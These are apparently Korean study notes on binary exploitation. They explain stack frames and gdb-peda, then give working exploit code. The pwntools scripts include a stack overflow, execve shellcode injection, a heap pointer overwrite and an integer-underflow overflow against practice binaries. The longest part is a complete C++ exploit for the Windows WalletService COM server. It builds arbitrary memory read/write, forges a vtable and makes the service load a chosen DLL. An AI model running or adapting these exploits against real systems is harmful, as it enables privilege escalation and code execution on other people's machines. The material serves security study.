---
# System prepended metadata

title: Stack

---

# Stack

공간이 할당되어 새로운 데이터가 있을 때,
메모리 주소 상 높은 곳에서 낮은 곳으로 자라남


R/ESP(Stack Pointer)
=> 마지막으로 스택에 데이터가 삽입된 자리(주소)
R/EBP(Base Pointer)

(RSP)
PUSH 
POP



높은 주소 
메인함수가 호출되기 직전에
rsp가 0x1010을 가리키고 있다면? 

push rbp
mov rbp, rsp

0. push rbp

1. 베이스 포인터 저장
mov rbp, rsp

rsp => 0x1010
rbp => 0x1010

2. 스택 포인터 이동
rbp => 0x1010
rsp => 0x1004
| main 함수의 스택 프레임 |

----------------------------------
mov rbp, rsp
rbp => 0x1004
rsp => 0x1004



| add 함수의 스택 프레임  |



프링글스 통에

빨간색, 파란색, 노란색 공을 넣으면?


call add()
push rip
mov rip, XXX


push ebp
mov ebp, esp

push rbp
mov rbp, rsp


함수가 복귀할 때 필요한 것.

1. 어디로 돌아가야 하는가?
  => Call 명령어가 실행될 때, push rip와 비슷한 동작이 수행됨
  ```
   0x000000000000116b <+36>:	call   0x1129 <add>
   0x0000000000001170 <+41>:	mov    DWORD PTR [rbp-0x4],eax

  ```
3. 상위 함수의 베이스 포인터
  호출'된' 함수의 프롤로그에 의해 저장
  push rbp
  
  
함수 프롤로그
부모 함수의 베이스 포인터를 백업하고, 새 베이스 포인터를 생성하는 것

1. Call add
rbp => 0x1040
rsp => 0x1018

0x1010 |   retaddr(main 함수 중간 주소)  |

결과: 스택에 복귀 주소가 저장되고 rsp가 낮아짐(0x1010)

2. add의 함수 프롤로그(1)
rbp => 0x1040
rsp => 0x1010
push rbp
0x1010 |   retaddr(main 함수 중간 주소)  |
0x1008 |   0x1040(main함수의 베이스)     |


결과 : 스택에 main 함수의 베이스가 저장되고, rsp가 낮아짐(0x1008)

3. add 함수 프롤로그(2) 
mov rbp, rsp

결과:
rbp => 0x1008
rsp => 0x1008

## 함수 에필로그
백업된 베이스 포인터로 bp를 복구하고, 리턴 어드레스로 이동

leave
- mov rsp, rbp
- pop rbp

rbp => 0x1040
rsp => 0x1010

ret
- pop rip
  
# 디버깅 실습
```clike
// stack.c 
#include <stdio.h>

int add(int a, int b){
	int c = a + b; 
	return c;
}

int main(){
	int a = 4; 
	int b = 2; 
	int c = add(a,b);

    return 0;
}

```

```
gcc stack.c -no-pie -o stack
```

# gdb 명령어

함수 디스어셈블
- (gdb-peda) pd [함수명]

breakpoint

- (gdb-peda) b *main+4
- (gdb-peda) b *0x401010

breakpoint 확인

- (gdb-peda) info break

breakpoint 삭제
- (gdb-peda) d [number]

레지스트리 출력
- (gdb-peda) info reg [register]

메모리 출력
- (gdb-peda) x/2[gx|wx|i|s] [$rsp || 0x404040]


# 버퍼 확인하기

1. read함수를 호출하는 시점에 인자를 확인
2. r <<< "AAAA" 와 같은 방법으로 gdb에서 프로그램 실행 시 표준 입력을 대체할 수 있음
3. read 함수 호출 후 버퍼에 저장된 데이터 확인
4. r <<< \`perl -e 'print "A"x512'\` 와 같은 스크립팅 가능

## python pwntools 설치
가상머신 인터넷 연결이 안 되어 있을 경우, 가상머신 설정에서 
네트워크 어댑터를 Bridge에서 NAT로 변경
```
python3 -m pip install pwntools
```

## bof1 실습
```python
from pwn import *

p = process("./bof1")
print(p.recv(1024))

gdb.attach(p)
payload = b"A" * 520
payload += p64(0x00000000004011dd)
p.send(payload)

print(p.recv(1024))
pause()
```

## bof2
```python
from pwn import *

p = process("./bof2")
data = p.recv(1024)
addr_str = data.split(b" @ ")[1].split(b"\n")[0]
addr = int(addr_str.decode(), 16)

shellcode = (b"\x90" * 0x100 ) + b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
dummy = b"A" * (520 - len(shellcode))

payload = shellcode + dummy + p64(addr)
p.send(payload)
p.interactive()
```

### heap overflow
```python
from pwn import *

p = process("./heap_overflow")
# gdb.attach(p)

def create():
    # menu
    p.recvuntil(b"> ")
    p.send(b"1\n")

def insert(idx, data):
    # menu
    p.recvuntil(b"> ")
    p.send(b"2\n")

    # select idx
    p.recvuntil(b"> ")
    p.send(idx + b'\n')

    # input
    p.recvuntil(b"> ")
    p.send(data + b'\n')

def modify(idx, data):
    # menu
    p.recvuntil(b"> ")
    p.send(b"3\n")

    # select idx
    p.recvuntil(b"> ")
    p.send(idx + b'\n')

    # input
    p.recvuntil(b"> ")
    p.send(data + b'\n')
```

Buffer Overflow 취약점은 **인접한 메모리**를 변조하는 유형의 취약점.
그러므로 **인접한 메모리**에 저장된 것이 무엇인지 알아야 함.
힙 메모리의 경우 고정으로 배치되는 값이 없기 때문에, 필요하다면 필요에 맞게 힙 객체를 배치하는 과정이 필요함(**힙 풍수**)
이를 위해,

1. 어떤 객체(공간+기능)를 할당할 수 있는가?
2. 조작되었을 때 유의미한 값 또는 기능을 가진 객체가 있는가?
3. 어떻게 변조할 수 있으며, 해당 값을 어떤 값으로 바꾸면 되는가?

와 같은 고민을 해볼 수 있음.

## peda 코드 수정
```python
def sigint_handler(event):
    # warning_msg("Got Ctrl+C / SIGINT!")
    gdb.execute("set logging off")
    peda.restore_user_command("all")
#     raise KeyboardInterrupt
# signal.signal(signal.SIGINT, sigint_handler)
gdb.events.stop.connect(sigint_handler)
```

풍수
create - insert - create - insert
```
				            data[0]
                data->ptr            data->size
0x1d2012a0:	0x000000001d2012c0	0x0000000000000021
0x1d2012b0:	0x0000000000000000	0x0000000000000031
                        data[0] - buffer
0x1d2012c0:	0x4141414141414141	0x4141414141414141
0x1d2012d0:	0x4141414141414141	0x4141414141414141
0x1d2012e0:	0x000000000000000a	0x0000000000000021
                            data[1]
                data->ptr            data->size
0x1d2012f0:	0x000000001d201310	0x0000000000000011
0x1d201300:	0x0000000000000000	0x0000000000000021
0x1d201310:	0x4242424242424242	0x4242424242424242

--------------------------------------------------
				  	        data[0]
                data->ptr            data->size
0x1d2012a0:	0x000000001d2012c0	0x0000000000000021
0x1d2012b0:	0x0000000000000000	0x0000000000000031
               
0x1d2012c0:	0x4343434343434343	0x4343434343434343
0x1d2012d0:	0x4343434343434343	0x4343434343434343
0x1d2012e0:	0x4343434343434343	0x4343434343434343
                            data[1]
            data->ptr(overflowed)    data->size
0x1d2012f0:	0x4343434343434343	0x000000000000000a
0x1d201300:	0x0000000000000000	0x0000000000000021
0x1d201310:	0x4242424242424242	0x4242424242424242

--------------------------------------------------

exploited
				            data[0]
                data->ptr            data->size
gdb-peda$ x/16gx 0x000000002b08e2a0
0x2b08e2a0:	0x000000002b08e2c0	0x0000000000000005
0x2b08e2b0:	0x0000000000000000	0x0000000000000021
0x2b08e2c0:	0x4141414141414141	0x4141414141414141
0x2b08e2d0:	0x4141414141414141	0x4141414141414141

                            data[1]
         data->ptr(flag의 주소로 변조)  data->size
0x2b08e2e0:	0x0000000000404090	0x000000000000000a
0x2b08e2f0:	0x0000000000000000	0x0000000000000021
0x2b08e300:	0x0000000a41414141	0x0000000000000000
0x2b08e310:	0x0000000000000000	0x0000000000020cf1
```

```python
from pwn import *

p = process("./heap_overflow")
# gdb.attach(p)

def create():
    # menu
    p.recvuntil(b"> ")
    p.send(b"1\n")

def insert(idx, data):
    # menu
    p.recvuntil(b"> ")
    p.send(b"2\n")

    # select idx
    p.recvuntil(b"> ")
    p.send(idx + b'\n')

    # input
    p.recvuntil(b"> ")
    p.send(data + b'\n')

def modify(idx, data):
    # menu
    p.recvuntil(b"> ")
    p.send(b"3\n")

    # select idx
    p.recvuntil(b"> ")
    p.send(idx + b'\n')

    # input
    p.recvuntil(b"> ")
    p.send(data + b'\n')

create()
insert(b"0", b"AAAA")

create()
insert(b"1", b"AAAA")
gdb.attach(p)
pause()
payload = b"\x41" * 0x20
payload += p64(0x404090) # flag's address
modify(b"0", payload)
print("ptr modified")
pause()

payload = p32(0x31337)
modify(b"1", payload)
print("flag modified")
pause()


print(p.recv(1024))
pause()
```



## integer 예제 파일
https://drive.google.com/file/d/1VUBY4I35k2j1hfIFsYuacy7ps0ZOT-7S/view?usp=sharing


```clike=
 uint32_t len = param->keySz + param->valSz;
 if(len > DICT_SIZE - 2 - dicts[idx]->curSz)
        return -1;

```
**dicts[idx]->curSz** 는 현재 버퍼의 사용중인 크기를 의미함.
위 검증 구문은 새로 입력하고자 하는 데이터가 버퍼의 남은 크기보다 큰 경우 예외하고자 함인데,
curSz가 4096까지의 데이터를 가질 수 있으므로, curSz가 **4095 이상**인 경우부터
**4096 - 2 - 4095 = -1 (0xffffffff)**
unsigned int의 MAX에 가까운 값으로 계산되므로, **버퍼의 남은 크기** 계산이 불가능
Buffer Overflow 취약점으로 이어진다.



```python
from pwn import *

p = process('./dict')
#p = remote('localhost', 5555)

flag = 0x404150

def createDict():
    p.recvuntil(b'> ')
    p.send(b'1\n')

def insert(idx, key, value):
    p.recvuntil(b'> ')
    p.send(b'2\n')
    p.recvuntil(b'Dict idx > ')
    p.sendline(idx)
    p.recvuntil(b'Key > ')
    p.send(key)
    p.recvuntil(b'Value > ')
    p.send(value)

createDict()
createDict()

for i in range(25):
    insert(b"0", b"a" * 32, b"b"*128)
    sleep(0.1)

insert(b"0", b"a" * 32, b"b"*11)
insert(b"0", b"A" * 16 + b"\x00" * 8 + p64(flag - 1), b"b" * 1)
insert(b"1", p64(0x31337), b"d")
p.interactive()

```

### Windbg Symbol Path
```
SRV*c:\symbols*http://msdl.microsoft.com/download/symbols
```

#### Windows x64 Calling Convention
rcx rdx r8 r9 순서로 인자가 전달됨.
단, 인스턴스에서 메소드를 호출하는 경우 첫번째 인자는 항상 this임
```
obj->CreateWalletItem(1, &obj1);
```
위 코드에서, 1은 코드 상 첫번째 인자지만
함수가 수행될 때 두번째 인자임(rdx) 첫번째 인자인 rcx는 obj 자체(this)

### poc

```
// crash code here!
  hr = obj1->CreateCustomProperty(&obj2);
  if (FAILED(hr)) { PrintError(__LINE__, hr); }
  uint32_t a = 0;
  uint32_t b = 0;
  obj2->GetGroup(0, &a, &b);

```

### windbg

```
 x walletservice!*GetGroup*

```

### 디버깅 순서?
클라이언트 프로그램에 디버거를 연결한 게 아니기 때문에, 확인하고 싶은 스텝의 전 후에 getchar() 함수를 넣어 사용자 입력 전까지 다음 코드가 실행되지 않도록 설정함.

```
# 관리자 셸에서
windbg -psn WalletService
```

```
dd rcx+0x74+(8*-10)
dd rcx+0x78+(8*-10)
```

## leak
```clike
	// leak code here
	hr = obj1->CreateCustomProperty(&obj2);
	if (FAILED(hr)) { PrintError(__LINE__, hr); }

	printf("GetGroup");
	getchar();

	uint32_t high = 0;
	uint32_t low = 0;
	int32_t idx = 0; // Modify this
	obj2->GetGroup(-4, &high, &low);
	uint64_t heap = ((uint64_t)high << 32);
	heap += low;
	heap -= 0x60;
	printf("heap @ %llx\n", heap);
	return 0;
```

```
bm walletservice!Wallet::WalletCustomProperty::GetGroup
```


```clike=
#include "pch.h"
class __declspec(uuid("21f1a452-9759-48a5-8d9b-bbd859ef89ee")) IWalletCustomProperty : public IUnknown {
public:
	virtual HRESULT __stdcall GetLabel(struct tagPROPVARIANT* p0);
	virtual HRESULT __stdcall SetLabel(struct tagPROPVARIANT* p0);
	virtual HRESULT __stdcall GetValue(struct tagPROPVARIANT* p0);
	virtual HRESULT __stdcall SetValue(struct tagPROPVARIANT* p0);
	virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t* p0);
	virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0);
	virtual HRESULT __stdcall GetGroup( /* ENUM32 */ uint32_t idx,  /* ENUM32 */ uint32_t* v1, uint32_t* v2);
	virtual HRESULT __stdcall SetGroup( /* ENUM32 */ uint32_t idx,  /* ENUM32 */ uint32_t v1, uint32_t v2);
};
class __declspec(uuid("16083582-9360-4758-8978-46970ae14999")) IWalletItem : public IUnknown {
public:
	virtual HRESULT __stdcall Proc3(int64_t* p0);
	virtual HRESULT __stdcall Proc4(  /* ENUM32 */ uint32_t* p0, int64_t p1, int64_t* p2);
	virtual HRESULT __stdcall Proc5( /* ENUM32 */ uint32_t* p0);
	virtual HRESULT __stdcall Proc6( /* ENUM32 */ uint32_t p0, struct Struct_97* p1);
	virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t p0, struct Struct_97* p1);
	virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0, int64_t* p1);
	virtual HRESULT __stdcall Proc9( /* ENUM32 */ uint32_t p0, int64_t* p1);
	virtual HRESULT __stdcall CreateCustomProperty(IWalletCustomProperty** p0);
	virtual HRESULT __stdcall Proc11(wchar_t* p0, IWalletCustomProperty** p1);
	virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletCustomProperty* p1);
	virtual HRESULT __stdcall Proc13(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2,  /* ENUM32 */ uint32_t* p3);
	virtual HRESULT __stdcall Proc14(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2,  /* ENUM32 */ uint32_t p3);
	virtual HRESULT __stdcall Proc15(VARIANT* p0);
	virtual HRESULT __stdcall Proc16( /* ENUM32 */ uint32_t p0, VARIANT* p1);
	virtual HRESULT __stdcall Proc17(int64_t* p0);
	virtual HRESULT __stdcall Proc18();
	virtual HRESULT __stdcall Proc19( /* ENUM32 */ uint32_t p0);
	virtual HRESULT __stdcall Proc20(IWalletItem* p0);
	virtual HRESULT __stdcall Proc21( /* ENUM32 */ uint32_t* p0);
	virtual HRESULT __stdcall Proc22(int64_t* p0);
};
class __declspec(uuid("14ff27de-1dc9-4617-8ed3-9a042d52391f")) IWalletItemList : public IUnknown {
public:
	virtual HRESULT __stdcall HasPendingChanges( /* ENUM32 */ uint32_t* p0);
	virtual HRESULT __stdcall GetItemCount(ULONG* p0);
	virtual HRESULT __stdcall GetItemAt(int64_t p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc6(int64_t p0);
	virtual HRESULT __stdcall Proc7(int64_t p0, int64_t* p1);
	virtual HRESULT __stdcall Proc8(int64_t p0, int64_t* p1);
	virtual HRESULT __stdcall Proc9(int64_t p0,  /* ENUM32 */ uint32_t* p1);
	virtual HRESULT __stdcall Proc10(IWalletItemList* p0);
};
class __declspec(uuid("fe8a7c3d-a504-4c31-81ec-d8ec8d9fa6b7")) IWalletTransactionManager : public IUnknown {
public:
	virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1);
	virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc5(int64_t* p0);
	virtual HRESULT __stdcall Proc6(int64_t p0);
	virtual HRESULT __stdcall Proc7(int64_t p0);
};
class __declspec(uuid("c5b00653-be27-41f2-b669-d780698f8d9d")) IWalletLocationManager : public IUnknown {
public:
	virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1);
	virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc5(int64_t* p0);
	virtual HRESULT __stdcall Proc6(int64_t p0);
	virtual HRESULT __stdcall Proc7(int64_t p0);
	virtual HRESULT __stdcall Proc8();
	virtual HRESULT __stdcall Proc9(int64_t* p0);
	virtual HRESULT __stdcall Proc10();
	virtual HRESULT __stdcall Proc11();
};
class __declspec(uuid("b9860518-0cdf-4dba-a981-807f3cbdc80a")) IWalletX : public IUnknown {
public:
	virtual HRESULT __stdcall Proc3(IWalletItemList** p0);
	virtual HRESULT __stdcall Proc4(IWalletItemList** p0);
	virtual HRESULT __stdcall Proc5(wchar_t* p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc6();
	virtual HRESULT __stdcall Proc7(IWalletTransactionManager** p0);
	virtual HRESULT __stdcall Proc8(IWalletLocationManager** p0);
	virtual HRESULT __stdcall Proc9(IWalletItem* p0,  /* ENUM32 */ uint32_t p1);
	virtual HRESULT __stdcall Proc10(int64_t p0, int64_t* p1);
	virtual HRESULT __stdcall CreateWalletItem( /* ENUM32 */ uint32_t p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc13(int64_t p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc14(IWalletItem* p0);
	virtual HRESULT __stdcall Proc15(IWalletItem* p0, wchar_t* p1);
	virtual HRESULT __stdcall Proc16(IWalletItem* p0,  /* ENUM32 */ uint32_t* p1);
	virtual HRESULT __stdcall Proc17(IWalletItem* p0, int64_t p1);
	virtual HRESULT __stdcall Proc18(wchar_t* p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc19(wchar_t* p0);
};


IWalletX* obj;
IWalletItem* obj1;
IWalletCustomProperty* obj2, * obj3;
ULONG64 heap;

int PrintError(unsigned int line, HRESULT hr)
{
	wprintf_s(L"ERROR: Line:%d HRESULT: 0x%X\n", line, hr);
	return hr;
}

void write(size_t addr, void *buf, UINT size=8) {
	uint32_t num1 = addr & 0xffffffff,
		num2 = addr >> 32,
		backup, nouse;
	if (num2 == -1 || num1 == 0x20)
	{
		puts("error addr, try again");
		exit(-1);
	}

	obj2->GetGroup(-9, &backup, &nouse);
	obj2->SetGroup(-9, backup, num1);
	obj2->GetGroup(-8, &nouse, &backup);
	obj2->SetGroup(-8, num2, backup);

	addr = -1;
	num1 = addr & 0xffffffff;
	num2 = addr >> 32;
	obj2->GetGroup(-7, &backup, &nouse);
	obj2->SetGroup(-7, backup, num1);
	obj2->GetGroup(-6, &nouse, &backup);
	obj2->SetGroup(-6, num2, backup);

	tagPROPVARIANT input;
	input.vt = 8;
	input.bstrVal = SysAllocStringLen((const OLECHAR*)buf, size);
	obj2->SetLabel(&input);
}

char* read(size_t addr, size_t size=8) {
	uint32_t num1 = addr & 0xffffffff,
		num2 = addr >> 32,
		backup, backup1, nouse;

	char* buf = new char[size + 1]{ 0 }, * p = buf;
	obj2->GetGroup(-9, &backup, &nouse);
	obj2->GetGroup(-8, &nouse, &backup1);

	for (size_t i = 0; i < size; i++) {
		obj2->SetGroup(-9, backup, num1++);
		obj2->SetGroup(-8, num2, backup1);

		tagPROPVARIANT input;
		input.vt = 8;
		input.bstrVal = 0;
		obj2->GetLabel(&input);
		*p++ = *(char*)input.bstrVal;
	}

	return buf;
}

DWORD poc(LPVOID dllpath)
{
	CoInitializeEx(NULL, COINIT_MULTITHREADED);
	HRESULT hr;
	CLSID clsid;
	IID iid;
	CLSIDFromString(OLESTR("{97061DF1-33AA-4B30-9A92-647546D943F3}"), &clsid);
	IIDFromString(OLESTR("{b9860518-0cdf-4dba-a981-807f3cbdc80a}"), &iid);

	hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&obj);

	if (FAILED(hr)) { PrintError(__LINE__, hr); }

	hr = obj->CreateWalletItem(1, &obj1);
	if (FAILED(hr)) { PrintError(__LINE__, hr); }

	hr = obj1->CreateCustomProperty(&obj2);
	if (FAILED(hr)) { PrintError(__LINE__, hr); }

	for(int i=0;i<10;i++)
		hr = obj1->CreateCustomProperty(&obj3);

	uint32_t out1, out2;
	heap = 0;

	hr = obj2->GetGroup(-13,&out1,&out2);
	if (FAILED(hr)) { PrintError(__LINE__, hr); }
	heap = out2;

	hr = obj2->GetGroup(-12, &out1, &out2);
	if (FAILED(hr)) { PrintError(__LINE__, hr); }
	heap += (ULONG64)out1 << 32;

	printf("heap @ 0x%llx\n", heap); // heap
	printf("WalletCustomProperty @ 0x%llx\n", heap - 0x20);

	//-----------------------------------------------

	size_t walletservice = (size_t)LoadLibrary(L"walletservice.dll");
	size_t dxgi = (size_t)LoadLibrary(L"dxgi.dll");
	size_t dxgi_environ = 0xC5E68 + dxgi;
	size_t dxgi_environ_length = 0xC5E80 + dxgi;

	printf("dxgi_environ @ %llx\n", dxgi_environ);
	printf("dxgi_environ_length @ %llx\n", dxgi_environ_length);

	size_t FakeVTBuf = 0x66EB0 + walletservice - 0x500; // read / writable memory in WalletService
	size_t NeedFlagBuf = 0x66F30 + walletservice - 0x500;
	size_t myenviron = 0x66F38 + walletservice - 0x500;

	printf("FakeVTBuf @ %llx\n", FakeVTBuf);
	printf("NeedFlagBuf @ 0x%llx\nwill_call: 0x%llx\n", NeedFlagBuf, dxgi + 0x011D00);
	printf("myenviron @ %llx\n", myenviron);

	write(myenviron, (void*)dllpath, wcslen((const wchar_t*)dllpath) + 1);

	size_t fakevtable_start = FakeVTBuf;
	size_t fakevtable[] = {
		0x4141414141,
		0x4141414142,
		0x4141414143,
		dxgi + 0x011D00
	};

	size_t tmp;
	for (auto i : fakevtable) {
		tmp = i;
		write(fakevtable_start, &tmp,8);
		fakevtable_start += 8;
	}

	tmp = NeedFlagBuf - 0x174;
	write(heap + 0x60, &tmp, 8);

	tmp = 1;
	write(NeedFlagBuf, &tmp, 8);

	tmp = myenviron;
	write(dxgi_environ, &tmp, 8);

	tmp = 0x530;
	write(dxgi_environ_length, &tmp, 4);
	write(dxgi_environ_length + 0xc, &tmp, 8);

	write(heap-0x20, &FakeVTBuf, 8); // this's vtable is currupted

	uint32_t ac = 1;
	tagPROPVARIANT t = { };
	hr = obj2->GetLabel(&t); // call dxgi!ATL::CComObject<CDXGIAdapter>::`vector deleting destructor
	if (FAILED(hr)) { PrintError(__LINE__, hr); }

	puts("Done!");
	while(1){} // hang
	return 0;
}


int wmain(int argc,wchar_t **argv) {
	if (argc != 2) {
		printf("usage: %ws .dll(Absolute_path)\n", argv[0]);
		exit(0);
	}
	poc(argv[1]);
}

```